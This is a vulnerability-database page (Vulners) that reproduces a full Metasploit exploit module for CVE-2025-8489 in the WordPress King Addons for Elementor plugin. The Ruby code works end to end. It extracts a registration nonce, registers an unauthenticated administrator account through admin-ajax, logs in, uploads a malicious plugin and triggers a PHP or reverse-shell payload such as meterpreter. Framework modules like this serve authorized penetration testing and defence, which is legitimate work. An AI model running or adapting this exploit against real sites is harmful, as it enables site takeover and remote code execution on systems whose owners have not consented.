Lucene search
K

WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE

🗓️ 10 Dec 2025 18:57:29Reported by Peter Thaleikis, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 523 Views

Unauthenticated privilege escalation in WordPress King Addons for Elementor enables admin creation via handle_register_ajax and nonce, leading to RCE.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
        'Description' => %q{
          This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
          King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
          in the handle_register_ajax() function which allows unauthenticated attackers to specify
          the user_role parameter during registration, enabling them to create administrator accounts.

          This exploit requires a WordPress page containing the King Addons "Login Register Form"
          Elementor widget, which exposes the required nonce token in the page's JavaScript.
          The NONCE_PAGE option must be set to the path of such a page.

          Once an administrator account is created, the module uploads and executes a malicious
          plugin to achieve remote code execution (RCE).
        },
        'Author' => [
          'Peter Thaleikis',                             # Vulnerability discovery
          'Valentin Lobstein <[email protected]>'     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-8489'],
          ['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
        ],
        'DisclosureDate' => '2025-10-30',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
        OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
        OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
        OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
      ]
    )
  end

  def check
    return CheckCode::Unknown('Target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Detected('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])

    admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    unless admin_cookie
      msg = 'Failed to log in to WordPress admin.'
      msg += ' User may exist with a different password.' if user_existed
      fail_with(Failure::UnexpectedReply, msg)
    end

    upload_and_execute_payload(admin_cookie)
  end

  private

  def find_nonce
    nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
    res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
    return nil unless res&.code == 200

    doc = res.get_html_document
    return nil unless doc

    script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')

    script_nodes.each do |script_node|
      nonce = extract_nonce_from_script(script_node.text)
      return nonce if nonce
    end

    vprint_warning('Could not find nonce')
    nil
  end

  def extract_nonce_from_script(script_content)
    match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
    return nil unless match

    json_data = begin
      JSON.parse(match[1].gsub('\/', '/'))
    rescue StandardError
      nil
    end
    return nil unless json_data.is_a?(Hash)

    nonce = json_data['register_nonce']
    return nil unless nonce.is_a?(String) && !nonce.empty?

    vprint_status("Found nonce: #{nonce}")
    nonce
  end

  def send_registration_request(username:, email:, password:, user_role: 'administrator')
    @nonce ||= find_nonce
    fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce

    send_request_cgi(
      'method' => 'POST',
      'uri' => wordpress_url_admin_ajax,
      'vars_post' => {
        'action' => 'king_addons_user_register',
        'nonce' => @nonce,
        'username' => username,
        'email' => email,
        'password' => password,
        'confirm_password' => password,
        'user_role' => user_role,
        'terms_required' => 'no'
      }
    )
  end

  def create_admin_user(username, password, email)
    res = send_registration_request(username: username, email: email, password: password)
    unless res&.code == 200
      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
    end

    json = res.get_json_document
    unless json.is_a?(Hash)
      fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
    end

    if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
      print_warning('User or email already exists, attempting login with provided credentials...')
      return true
    end

    if json['success'] == true
      return false
    end

    fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
  end

  def upload_and_execute_payload(admin_cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

    zip = generate_plugin(plugin_name, payload_name)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    payload_file = "#{payload_name}.php"
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2026 19:02Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8
EPSS0.09142
SSVC
523